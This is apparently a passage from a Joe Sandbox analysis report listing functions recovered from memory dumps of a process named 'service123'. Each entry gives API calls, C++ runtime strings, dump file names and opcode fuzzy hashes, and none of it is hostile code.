@, xrefs: 6C96DD00

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 6f77f11c91bdb2ada4f775a3d7dcfa715686b9ba86858ff0f9c838ab36cf7e6b
Instruction ID: 7c30f2bf35c20920a6f0e24b4e9e121fdfd38812addb651abb0ca71883d99b69
Opcode Fuzzy Hash: 6f77f11c91bdb2ada4f775a3d7dcfa715686b9ba86858ff0f9c838ab36cf7e6b
Instruction Fuzzy Hash: 6921D43190524D8BEB10DE56CC84BE9B7B8AF83309F2045A5D818ABF90D774DE888F90

Function 6C96DAF0 Relevance: 16.6, APIs: 11, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc6bb44575658fe0e9a3598774f1dd02e519d5c31b183bd453778b043d3a90da
Instruction ID: 269560491d770d5c57e17d3695f0cc4b12ee77a78414153c13f9b4383f48cc5f
Opcode Fuzzy Hash: cc6bb44575658fe0e9a3598774f1dd02e519d5c31b183bd453778b043d3a90da
Instruction Fuzzy Hash: 1711903190021C9BDB14DF66C8809DEB7B5AFA6318F1494A8EC0C67B40DB30EE488BA1

Function 6C96DB90 Relevance: 15.1, APIs: 10, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e135b6b10b5b5cf0be0bfdc615fdc821225bed94b201ba6cfd80804da20710
Instruction ID: a5f10e5867a6337e78e8975d9a36be3d311fb58aea92b94e0c8773d38df062a9
Opcode Fuzzy Hash: 87e135b6b10b5b5cf0be0bfdc615fdc821225bed94b201ba6cfd80804da20710
Instruction Fuzzy Hash: 6C214A71A0021D9BDF10DF62C8809EEF7B5EF96308F1494A8D90867B51DB30EE498BA0

Function 6C9E8AF0 Relevance: 13.9, Strings: 11, Instructions: 136COMMON

Download Yara Rule

Strings

default, xrefs: 6C9E8B10
rdrand, xrefs: 6C9E8B51
random_device::random_device(const std::string&): device not available, xrefs: 6C9E8C58
Auth, xrefs: 6C9E8C10
rdseed, xrefs: 6C9E8B38
Genu, xrefs: 6C9E8C08
Auth, xrefs: 6C9E8BAF
rand_s, xrefs: 6C9E8C68
Genu, xrefs: 6C9E8BA7
random_device::random_device(const std::string&): unsupported token, xrefs: 6C9E8C81
rdrnd, xrefs: 6C9E8B66

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcmpstrlen
String ID: Auth$Auth$Genu$Genu$default$rand_s$random_device::random_device(const std::string&): device not available$random_device::random_device(const std::string&): unsupported token$rdrand$rdrnd$rdseed
API String ID: 3108337309-480619940
Opcode ID: 7c214144f09c8199c54e9f81632a18f2439b0f2211862a4eea4b837ba2c62139
Instruction ID: 7522472cfe12d09120601ae31f70a57e735a0e6773540673bda214fb412cc7d4
Opcode Fuzzy Hash: 7c214144f09c8199c54e9f81632a18f2439b0f2211862a4eea4b837ba2c62139
Instruction Fuzzy Hash: 27416AF270630007E7047E7DAA8132AB6AAEFA5318F208D3EC851D7F51D635C499C356

Function 002B14F0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 002B1500
LoadLibraryA.KERNEL32 ref: 002B1516
GetProcAddress.KERNEL32 ref: 002B1535
GetProcAddress.KERNEL32 ref: 002B1547

Strings

__deregister_frame_info, xrefs: 002B153C
__register_frame_info, xrefs: 002B152A
libgcc_s_dw2-1.dll, xrefs: 002B14F9, 002B150F

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: c38c51e45653b1e70c1461e51d79277eb0e5ee3a69000a5821778b7681c55055
Instruction ID: 1f5bcba2ae2cb5c694f57d75e59f4d28cb1c4c111017f2dc9f1eaf6b8a162d55
Opcode Fuzzy Hash: c38c51e45653b1e70c1461e51d79277eb0e5ee3a69000a5821778b7681c55055
Instruction Fuzzy Hash: 97015EB18292089BC710BF78A9593AABFE4EB40391F81492DD58947200E77494688BA3

Function 6C96DEE0 Relevance: 12.1, APIs: 8, Instructions: 91COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: dda5ddbeed8331b849e6236ab8f4657feec86e51b1369b7243ecaf85781eeae6
Instruction ID: aaa0741729a7801ecfb5acde195dd9c5fc659fc8c09ff24323a80047b060d8c6
Opcode Fuzzy Hash: dda5ddbeed8331b849e6236ab8f4657feec86e51b1369b7243ecaf85781eeae6
Instruction Fuzzy Hash: 7321D4336551188FD7048F2AD841AA677B6EBC331CB2881BEE4588BBA9D636D4168690

Function 6C969790 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 336stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C969803
strlen.MSVCRT ref: 6C96991C
strlen.MSVCRT ref: 6C9699A8

Strings

_, xrefs: 6C969B28
_GLOBAL_, xrefs: 6C9697BD
Z__, xrefs: 6C969A9B, 6C969AC5
Z__, xrefs: 6C969B01

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID: Z__$Z__$_$_GLOBAL_
API String ID: 39653677-1435454842
Opcode ID: aa7ac9efcd99e1c5b46c6c25c26996248064ecb31967befc7128a2af6cb5f060
Instruction ID: d4a3898888a6800b397ba2693b1b3ef38d9db7cbdf4ddb1315031caf6e36f59d
Opcode Fuzzy Hash: aa7ac9efcd99e1c5b46c6c25c26996248064ecb31967befc7128a2af6cb5f060
Instruction Fuzzy Hash: E2E193709052598FFB10CF2AC8903DDBBF5AF46308F5541A9C4999BB85D739DA8ACF40

Function 6C984010 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 214stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C984036
memcmp.MSVCRT ref: 6C984059
memcmp.MSVCRT ref: 6C9840CE
memcmp.MSVCRT ref: 6C98413F

Part of subcall function 6CA32930: strlen.MSVCRT ref: 6CA3293E

memcmp.MSVCRT ref: 6C9841D5

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C984080, 6C9840F4, 6C984165, 6C9841FC, 6C984218
basic_string::compare, xrefs: 6C984078, 6C9840EC, 6C98415D, 6C9841F4, 6C984210

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: b4dc243a3354606e896694c7ac813214e44817a31d555f6cbc64cc6ac63b6ee9
Instruction ID: 37a1c1fbbfaaa9d4aa68e45d55d475f3b08d5d2ca38178197d765cb814c51141
Opcode Fuzzy Hash: b4dc243a3354606e896694c7ac813214e44817a31d555f6cbc64cc6ac63b6ee9
Instruction Fuzzy Hash: A2618D71A0A3119FC3009F6DCA9450FFBE9EFD8698F51CA2DE58887714E231D8848B92

Function 6C98FA50 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 198stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C98FA76
memcmp.MSVCRT ref: 6C98FA9A
memcmp.MSVCRT ref: 6C98FB0B
memcmp.MSVCRT ref: 6C98FB7D

Part of subcall function 6CA32930: strlen.MSVCRT ref: 6CA3293E

memcmp.MSVCRT ref: 6C98FC07

Strings

basic_string::compare, xrefs: 6C98FAB9, 6C98FB28, 6C98FB9B, 6C98FC26, 6C98FC42
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C98FAC1, 6C98FB30, 6C98FBA3, 6C98FC2E, 6C98FC4A

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: ceaa955a5a1593e0c1ff5a58f8548ed27ae7a0820b2f21984eca58cce219323f
Instruction ID: b8c49c5b50dd0f5ce55c86b6d34ee7f5313ad3235e2be939442355977362a36e
Opcode Fuzzy Hash: ceaa955a5a1593e0c1ff5a58f8548ed27ae7a0820b2f21984eca58cce219323f
Instruction Fuzzy Hash: B66139726097119FC3009F6DCA8094ABBE5EFD9698F15DD2DE8C887B14E231D8858B92

Function 6C9929D1 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 196stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C992A03
memcpy.MSVCRT ref: 6C992A6F
strlen.MSVCRT ref: 6C992AB3

Strings

basic_string::_M_construct null not valid, xrefs: 6C992A80, 6C992B30, 6C992BE0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: 81a34c0a31dfddffdc507861584567cc9967886aea44f18f45ab581a0a45647f
Instruction ID: aee752cbaad1022ed7645e4a5126e11aef4f613de70bdb14dae73edd9fea2b87
Opcode Fuzzy Hash: 81a34c0a31dfddffdc507861584567cc9967886aea44f18f45ab581a0a45647f
Instruction Fuzzy Hash: 52515FB550A7148FC710DF29D1C465AFBF8EF56214F19886EE898CB741D331D849CB62

Function 6C96E510 Relevance: 10.6, APIs: 7, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: c7e6db9041e80f7f76c7993d7c9064ad40067b901704dbcd4d87d53ffbc7814e
Instruction ID: 7a77ce1406ae013f008a474b38f9c10baa3a694dbd44ee831220a066a2738611
Opcode Fuzzy Hash: c7e6db9041e80f7f76c7993d7c9064ad40067b901704dbcd4d87d53ffbc7814e
Instruction Fuzzy Hash: B54195716483168FEB10CE1ECC50666B3E9AB85358F544D69E864CBFD4E730DC0A8BD2

Function 6C976B10 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 1456COMMON

Download Yara Rule

Strings

, xrefs: 6C977FDC
Infinity, xrefs: 6C976E40
, xrefs: 6C9781F6
NaN, xrefs: 6C976BDF
9, xrefs: 6C978064

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: $ $9$Infinity$NaN
API String ID: 0-2156819404
Opcode ID: e645cf88c18a8fb0b74ac3508e02919ce1c13dfd1921d120c09b4b3fbbd29c5b
Instruction ID: 8b92dea2dd66c3c7ced0dffe3751f7f62c64d780441f5963badd670fb8b91c1d
Opcode Fuzzy Hash: e645cf88c18a8fb0b74ac3508e02919ce1c13dfd1921d120c09b4b3fbbd29c5b
Instruction Fuzzy Hash: CBD242B1A0A3818FD721DF29C08474ABBF1FB89358F15891EE89897750E775D844CFA2

Function 6C96F880 Relevance: 9.2, APIs: 6, Instructions: 195synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C96FAA0
WaitForSingleObject.KERNEL32 ref: 6C96FAE0

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 53f416767e5f6e550a30fa3391efce79c87a06374c98619c0ec4fa9740f823d9
Instruction ID: 3adf3997640fcfbb682bc29c045b485ff23345b15f565be3153432e4a500c5f0
Opcode Fuzzy Hash: 53f416767e5f6e550a30fa3391efce79c87a06374c98619c0ec4fa9740f823d9
Instruction Fuzzy Hash: 6B71697074A706CBEB049F2AC58431677B9AB4631CF10CA69D8698BFC5E731D846CB92

Function 6C96E700 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de198802471a27179529ca906d66958d85d197895e8f4054a4c30b3679875e85
Instruction ID: 12699dcc620a6e9586e22eda58c8da83dbfd65226f6f7c7f9d63f87087af090c
Opcode Fuzzy Hash: de198802471a27179529ca906d66958d85d197895e8f4054a4c30b3679875e85
Instruction Fuzzy Hash: B811E7315093068FE710CE1BC8909A7F3EAABA1748F005C2AE49447F91E634E88EC7D1

Function 6C978260 Relevance: 8.2, APIs: 5, Instructions: 664COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C978267
memset.MSVCRT ref: 6C9783E7

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: localeconvmemset
String ID:
API String ID: 2367598729-0
Opcode ID: 3b73e18883762ac92082dd8c129314f7d61333dda411fb575f5bd5936efc8101
Instruction ID: 1d1fa25015038c4841223dce8425a896b5268ea735761fa61e4183ff6e329e78
Opcode Fuzzy Hash: 3b73e18883762ac92082dd8c129314f7d61333dda411fb575f5bd5936efc8101
Instruction Fuzzy Hash: 5442F57160A3518FC728CF29C48035ABBE1FF85708F09495EE8D4ABB41D375E949CBA6

Function 6C96EE80 Relevance: 8.0, APIs: 5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb208b97f5dba943a42832dbebe51832a8d48b72c8480a6040dc97790a4b386e
Instruction ID: 9492311dc84de7c220419197ab244c182a7c1f9fe9eb9908e91bfa1406d1daa9
Opcode Fuzzy Hash: cb208b97f5dba943a42832dbebe51832a8d48b72c8480a6040dc97790a4b386e
Instruction Fuzzy Hash: 52128B756097068FE700CF1AC48075AB7E1BF8834CF558A2DE89897F91E734E949CB82

Function 002B3E80 Relevance: 7.9, Strings: 6, Instructions: 424COMMON

Download Yara Rule

Strings

gfff, xrefs: 002B3F55
gfff, xrefs: 002B3F90
Inf, xrefs: 002B43DC
@, xrefs: 002B3FEC
., xrefs: 002B3F1D
NaN, xrefs: 002B41EA

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID:
String ID: .$@$Inf$NaN$gfff$gfff
API String ID: 0-3155045678
Opcode ID: cca7c43237863d9149c28fdc96d1155bd11149c4355a75de9e460b7f8647ee5d
Instruction ID: 49478c40bf3362d72565e04df8e92c8b2fa633c979dd96c6a8d425ffc283001a
Opcode Fuzzy Hash: cca7c43237863d9149c28fdc96d1155bd11149c4355a75de9e460b7f8647ee5d
Instruction Fuzzy Hash: 46F10271A283018BD714EE29C4C47AAF7E1AFC8384F188A6DF999CB346D770DD558B42

Function 6C975850 Relevance: 7.9, Strings: 6, Instructions: 424COMMON

Download Yara Rule

Strings

@, xrefs: 6C9759BC
Inf, xrefs: 6C975DAC
., xrefs: 6C9758ED
NaN, xrefs: 6C975BBA
gfff, xrefs: 6C975960
gfff, xrefs: 6C975925

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: .$@$Inf$NaN$gfff$gfff
API String ID: 0-3155045678
Opcode ID: cf9ff7ef9ea7f940692be6ad1277dfa45ac306bd4b271f063d6f26e03493ac18
Instruction ID: d077f4534d0bb7f1a671c9a265aa88044b27daf40af9cabecf78a7594be18b56
Opcode Fuzzy Hash: cf9ff7ef9ea7f940692be6ad1277dfa45ac306bd4b271f063d6f26e03493ac18
